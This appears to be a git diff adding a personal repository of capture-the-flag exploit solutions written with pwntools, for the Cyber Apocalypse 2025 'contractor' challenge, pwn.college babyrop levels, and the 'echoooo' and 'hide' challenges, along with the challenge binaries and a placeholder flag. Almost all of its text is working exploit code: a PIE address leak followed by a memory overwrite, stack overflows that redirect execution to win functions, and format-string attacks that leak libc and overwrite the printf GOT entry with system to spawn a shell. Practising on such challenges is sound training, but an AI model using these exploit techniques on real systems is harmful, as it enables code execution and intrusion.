diff --git a/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/a.py b/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/a.py new file mode 100644 index 0000000..6b39740 --- /dev/null +++ b/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/a.py @@ -0,0 +1,36 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./contractor", checksec=False) + +while True: + r = process() + + # funcs + s = lambda a,b: r.sendafter(a, b) + sl = lambda a,b: r.sendlineafter(a, b) + fill = lambda a: [sl(b"> ", i) if b"\n" in a else s(b"> ", i) for i in a] + opt = lambda a,b: (sl(b"> ", a), sl(b": ", b)) + + # leak + fill([b"mug3njutsu\n", b"none\n", b"13\n", b"ofcourse"+b"C"*8]) + r.recvuntil(b"C"*8) + target.address = u64(r.recv(6).ljust(8, b"\x00")) - 0x1b50 + log.info("pie: %#x", target.address) + + # write + opt(b"4", b"A"*28+p32(0)+b"\x40") + sl(b"> ", b"no") + opt(b"4", p64(target.sym.contract)) + + r.recvuntil(b"lad!\n\n") + + try: + r.sendline(b"id") + if r.recvline(): + break + except EOFError: + pass + +r.interactive() \ No newline at end of file diff --git a/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/contractor b/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/contractor new file mode 100755 index 0000000..85b8987 Binary files /dev/null and b/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/contractor differ diff --git a/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/flag.txt b/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/flag.txt new file mode 100644 index 0000000..b84dec5 --- /dev/null +++ b/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/flag.txt @@ -0,0 +1 @@ +HTB{f4k3_fl4g_f0r_t35t1ng} diff --git a/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/glibc/ld-linux-x86-64.so.2 b/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/glibc/ld-linux-x86-64.so.2 new file mode 100755 index 0000000..89e84b0 Binary files /dev/null and b/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/glibc/ld-linux-x86-64.so.2 differ diff --git a/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/glibc/libc.so.6 b/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/glibc/libc.so.6 new file mode 100755 index 0000000..12655d0 Binary files /dev/null and b/cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/glibc/libc.so.6 differ diff --git a/pwn_college/babyrop_level_1.0/a.py b/pwn_college/babyrop_level_1.0/a.py new file mode 100644 index 0000000..51c78c1 --- /dev/null +++ b/pwn_college/babyrop_level_1.0/a.py @@ -0,0 +1,20 @@ +#!/usr/bin/python3 + +from pwn import * + +""" +patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_1_0 +""" + +context.binary = target = ELF("./babyrop_level_1_0", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*120 +buf += p64(target.sym.win) +s(buf) + +r.interactive() \ No newline at end of file diff --git a/pwn_college/babyrop_level_1.0/babyrop_level_1_0 b/pwn_college/babyrop_level_1.0/babyrop_level_1_0 new file mode 100755 index 0000000..d3f4927 Binary files /dev/null and b/pwn_college/babyrop_level_1.0/babyrop_level_1_0 differ diff --git a/pwn_college/babyrop_level_1.1/a.py b/pwn_college/babyrop_level_1.1/a.py new file mode 100644 index 0000000..0f63d3f --- /dev/null +++ b/pwn_college/babyrop_level_1.1/a.py @@ -0,0 +1,16 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./babyrop_level_1_1", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*136 +buf += p64(target.sym.win) +s(buf) + +r.interactive() \ No newline at end of file diff --git a/pwn_college/babyrop_level_1.1/babyrop_level_1_1 b/pwn_college/babyrop_level_1.1/babyrop_level_1_1 new file mode 100755 index 0000000..50c985a Binary files /dev/null and b/pwn_college/babyrop_level_1.1/babyrop_level_1_1 differ diff --git a/pwn_college/babyrop_level_2.0/a.py b/pwn_college/babyrop_level_2.0/a.py new file mode 100644 index 0000000..d5d9a6d --- /dev/null +++ b/pwn_college/babyrop_level_2.0/a.py @@ -0,0 +1,21 @@ +#!/usr/bin/python3 + +from pwn import * + +""" +patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_2_0 +""" + +context.binary = target = ELF("./babyrop_level_2_0", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*104 +buf += p64(target.sym.win_stage_1) +buf += p64(target.sym.win_stage_2) +s(buf) + +r.interactive() \ No newline at end of file diff --git a/pwn_college/babyrop_level_2.0/babyrop_level_2_0 b/pwn_college/babyrop_level_2.0/babyrop_level_2_0 new file mode 100755 index 0000000..f3b2545 Binary files /dev/null and b/pwn_college/babyrop_level_2.0/babyrop_level_2_0 differ diff --git a/pwn_college/babyrop_level_2.1/a.py b/pwn_college/babyrop_level_2.1/a.py new file mode 100644 index 0000000..15b049b --- /dev/null +++ b/pwn_college/babyrop_level_2.1/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./babyrop_level_2_1", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*88 +buf += p64(target.sym.win_stage_1) +buf += p64(target.sym.win_stage_2) +s(buf) + +r.interactive() \ No newline at end of file diff --git a/pwn_college/babyrop_level_2.1/babyrop_level_2_1 b/pwn_college/babyrop_level_2.1/babyrop_level_2_1 new file mode 100755 index 0000000..4cadcbb Binary files /dev/null and b/pwn_college/babyrop_level_2.1/babyrop_level_2_1 differ diff --git a/random_challs/echoooo/a.py b/random_challs/echoooo/a.py new file mode 100644 index 0000000..753c575 --- /dev/null +++ b/random_challs/echoooo/a.py @@ -0,0 +1,69 @@ +#!/usr/bin/python3 + +from pwn import * +import re + +context.binary = target = ELF("./chal", checksec=False) +libc = target.libc + +# bruteforce lower 12 bits +def brute(): + for a in range(1, 256): + for b in range(8, 256, 16): + r = process() + partial_ret = (a << 8) | b + write = (0x61 - (partial_ret & 0xff)) & 0xff + buf = b"%c"*16 + f"%{partial_ret-16}c%hn".encode() + buf += f"%{write}c%48$hhn".encode() + r.sendlineafter(b": ", buf) + try: + r.recvuntil(b"Type") + return r, partial_ret + except: + r.kill() + continue + +# leak +r, partial_ret = brute() +log.info("ret: %#x", partial_ret) +buf = f"%97c%48$hhn".encode() +buf += b"AAAA%17$p.%19$p" +r.sendlineafter(b": ", buf) +r.recvuntil(b"AAAA") +leaks = re.findall(r'0x[a-z0-9]+', r.recvS()) +libc.address = int(leaks[0], 16) - 0x29d68 +log.info("libc: %#x", libc.address) +target.address = int(leaks[1], 16) - 0x1169 +log.info("elf: %#x", target.address) + +# write +partial_ret = int(hex(libc.sym.system)[-4:], 16) +buf = f"%{partial_ret}c%12$hn".encode().ljust(16, b"A") + b"%110c%48$hhn".ljust(16, b"A") + p64(target.got.printf) +r.sendline(buf) +r.sendline(b"/bin/sh") + +r.interactive() + +""" +# write +partial_ret = 0xe068 +write = (0x61 - (partial_ret & 0xff)) & 0xff +buf = b"%c"*16 + f"%{partial_ret-16}c%hn".encode() +buf += f'%{write}c%48$hhn'.encode() +s(buf) + +# leak +buf = f"%97c%48$hhn".encode() +buf += b"AAAA%17$p.%19$p" +s(buf) +r.recvuntil(b"AAAA") +leaks = re.findall(r'0x[a-z0-9]+', r.recvS()) +libc.address = int(leaks[0], 16) - 0x29d68 +target.address = int(leaks[1], 16) - 0x1169 +log.info("elf: %#x", target.address) + +# write +partial_ret = 0x38f0 +buf = f"%{partial_ret}c%12$hn".encode().ljust(16, b"A") + b"%110c%48$hhn".ljust(16, b"A") + p64(target.got.printf) +r.sendline(buf) +""" \ No newline at end of file diff --git a/random_challs/echoooo/chal b/random_challs/echoooo/chal new file mode 100755 index 0000000..560cafd Binary files /dev/null and b/random_challs/echoooo/chal differ diff --git a/random_challs/hide/a.py b/random_challs/hide/a.py new file mode 100644 index 0000000..7273e22 --- /dev/null +++ b/random_challs/hide/a.py @@ -0,0 +1,14 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./hide", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +s(b"%160c%hhn%6$s") + +r.interactive() \ No newline at end of file diff --git a/random_challs/hide/hide b/random_challs/hide/hide new file mode 100755 index 0000000..51457fc Binary files /dev/null and b/random_challs/hide/hide differ